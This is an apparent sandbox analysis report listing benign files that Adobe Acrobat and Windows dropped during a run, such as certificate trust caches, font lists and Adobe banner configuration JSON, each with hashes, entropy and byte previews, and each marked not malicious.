File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7152349065063066
Encrypted:	false
SSDEEP:	3:kkFklQcNtfllXlE/HT8kilJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKJeeT8zlRNMa8RdWBwRd
MD5:	8BC9F161ED4DA5C80DFA73E7A98BC583
SHA1:	2B47869D1523B92D622077E0B32702957F239DBD
SHA-256:	0709CE1A46F0DAFA2CC074AB915061D082071F75582F1345507E9C96F81D85BD
SHA-512:	7F9C52BB01E342F8C0C8D72AEFAE0786972C74E0383F16A7A106789AB82EC0EB7D1EFCCD37B905C24B1571DCF8C85B9740E63768947A261B9AC54FE65731B11D
Malicious:	false
Preview:	p...... ........c..^.c..(....................................................... ..........W....n...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.231985425336604
Encrypted:	false
SSDEEP:	6:kKlyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8iDImsLNkPlE99SNxAhUe/3
MD5:	2F212239269F38161E1E1D350002C905
SHA1:	9A09BD50E29CDCF4259AED8D5E3FAB3F542E61AE
SHA-256:	6639740CFAE462FAE13EAC14CEE9BFC2ABE1BFEB8B18729E4C90CEF0F16F236B
SHA-512:	6B3021C68D308C33AE7AFC0A7690A5C618711A8190EFFAB0842440CEB2ACEDA702D80064B7149E373C8899AF8F95730F104198D29100C74631DFA400EEEDC4B3
Malicious:	false
Preview:	p...... ........=$Ip.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3788

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3788

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349747723755391
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJM3g98kUwPeUkwRe9:YvXKXkZRyvb1UYpW7/fGMbLUkee9
MD5:	40F13B4B265483CEDA78868A2B20B3E9
SHA1:	CC6BDF9F44A917FB662B0C9031933C7871D9F9D1
SHA-256:	3CE69AB497F99FF93D33914A20458C3F6EB96D3301A033B523319D1BB6C4B769
SHA-512:	7FEA45E3DF248FC0205F0382E3B9E29AB90970A893902E86CBF4ACE85E386B0C4ED7F4DE9AF49979132438CECED806ECD0454BEAD3054FF1B8AE1F6685CAD1D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286826788502785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJfBoTfXpnrPeUkwRe9:YvXKXkZRyvb1UYpW7/fGWTfXcUkee9
MD5:	38C7567D7164571003A42F43DC27D268
SHA1:	7AA2D356941700E38291AB4B34AEB83DBEB0C1D0
SHA-256:	8D8FFDC3ACA9404D62BAB9FE3FF89361F8A3FECCCA9935115E952F5DFF29C8AB
SHA-512:	45FA33341DB662821F8C11F8761F0FB48D77E8916318EA95E7152A43CF2657E8928DD6F0C2CCD931864BD214E35926B292443270FC8837EF06131B9FC70C2744
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.264965703248053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJfBD2G6UpnrPeUkwRe9:YvXKXkZRyvb1UYpW7/fGR22cUkee9
MD5:	2421992BCDC29BE91B8F73168CBC2390
SHA1:	25A41A4834CC0A25FFA3A8A7CE086EE28C7E7B11
SHA-256:	34A9E47055FE765F0DDF9765DC8F5C61F46FB59834ABFA50D16970E11B0BDDE2
SHA-512:	AD6A2F0FC67B8D0B6280B9B3BE7A2B756FB7D7CDF9CA6119F08A53D9C05A88547192FB843CA05A3F16CB14C66D69F0BEA912F495114A4C66665DB3521B46C4D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3281628588632985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJfPmwrPeUkwRe9:YvXKXkZRyvb1UYpW7/fGH56Ukee9
MD5:	80B66DF762D0935659DB588A7E0C5782
SHA1:	58FAEBEBFC2CF5B77B6E3D74F46FEE098BED0269
SHA-256:	EDED24F11E40B7D6C22AF740ADFA47F3079532D1CDA5BF06ADFB3DB829E39B2F
SHA-512:	EA0F6FCCADC2CA9B1775157D2E01EC08E27DAAA13456FADF9592027000BBBE15D38700EDEA2F696D882DCD1F79D1DDA55FE8C86D68464FEE8B8773C6AB26E25C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692083675914411
Encrypted:	false
SSDEEP:	24:Yv6XB1Fi/EpLgE9cQx8LennAvzBvkn0RCmK8czOCCSc1:YvWS/Ehgy6SAFv5Ah8cv/c1
MD5:	38C9E2AAFC5F63CD9CB1111CDD92E7AF
SHA1:	CEBC78D084B4C952DD08F19A3ACF90CB1CDCB56A
SHA-256:	1B60AE6CFACE04EF64EE80A3949B13E6100994A6E6D40B52411C421004EB7B90
SHA-512:	8D0E57D0EE5D7E6D24FD036FB2B860FD2C2704378DDBFAED096B0B67E4616A4F657AFB008ADD7D88A0FC4A3A6B35DD094FCE0D1A8767EB3F6EBDFDA2B6288F74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.274486961823165
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJf8dPeUkwRe9:YvXKXkZRyvb1UYpW7/fGU8Ukee9
MD5:	9E6D69B9BBC29E5717095BB90318D77A
SHA1:	4230FD7F976E9CB6A100724EF240858339336F2A
SHA-256:	A027FB3A7062C7A5E170ABCBC7D999975F7490612DEC972D35B1D895CF1F62AD
SHA-512:	2BC010CB86B4559734C79B0CF5E8645920111EDA931C09FB80DDAA2812E1F43289DE10E12C60092AE85EA29BCC1B25EE8C0D63863C0DBB42CA18EDA2B7DFA857
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.275083857263674
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJfQ1rPeUkwRe9:YvXKXkZRyvb1UYpW7/fGY16Ukee9
MD5:	12724545BC2211F14115DE9FC3ECE291
SHA1:	AD6141CC679BF7C9FF0C47E2B47E34CAD3FB4370
SHA-256:	B11D4994E619A3FB65F0E52C8CF30B5AC6B9BF79443A499CAB682E3F117E75E3
SHA-512:	1F8E8A7E1540C4FFA584D20FA28696316F8C52792FF30E0867428CAE97C8A59296E00054A333CB8CD281C0B6E84ACF89DC70451B232CEDA9F94F886EF0B062B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296463638322318
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJfFldPeUkwRe9:YvXKXkZRyvb1UYpW7/fGz8Ukee9
MD5:	7426150992A2C51B27CAC9663F049AA9
SHA1:	F28C0E3961C12B97E85FAA9A05379B04333D176B
SHA-256:	1EEA8A637E5B2FE7329B8148D55DA614FA5CEC2CBC9932482B0CA552F205C3C5
SHA-512:	5B7E23F9B79E9756FF271EFE50A117F481EC1472F0CE12AD58782900B0098E8AF420B794EE5D24B0FBFBF0E46C428F07970CB9F1DA69970FA2B6BEFFD671781C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.303211207187253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJfzdPeUkwRe9:YvXKXkZRyvb1UYpW7/fGb8Ukee9
MD5:	CD00AFE78AA82B5C7F50BB64B965A5A9
SHA1:	1B745AD91AFBCB0726085477AD0C52E0D1ECEB46
SHA-256:	253989B937FF3E134DCDE13E235557AB8F53DDD433BE64BD685D3EACB1FC3259
SHA-512:	0761E1FC2C7B71152DBFFF834B82FE3004A8646EF3341524514F2140F37139DC60664591272CACDFD4A9105201D450083D8B7C3D3C82C1DE6B968DA721655A40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282913582690275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJfYdPeUkwRe9:YvXKXkZRyvb1UYpW7/fGg8Ukee9
MD5:	CEEF142F06E739CBFCE3F6CDF4FD8FF7
SHA1:	A1B1EF113BD7EB024A5FD7297AEA22A80176E38C
SHA-256:	C2EC820FFBB82C0667E3F56915C69A73E7798F3CC63A839BFCC575338EB9A815
SHA-512:	4636CCB3FA2F16426B1E4686CF62B9DE856B4505A88E6B75EEF35515CC3FF87F4917597D437053987D5EAECFF052BDDFAD00B08A9A33F36F7BA1BCA47E71634C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268962129234634
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJf+dPeUkwRe9:YvXKXkZRyvb1UYpW7/fG28Ukee9
MD5:	25B2362940C006AC4064B92CA137CED9
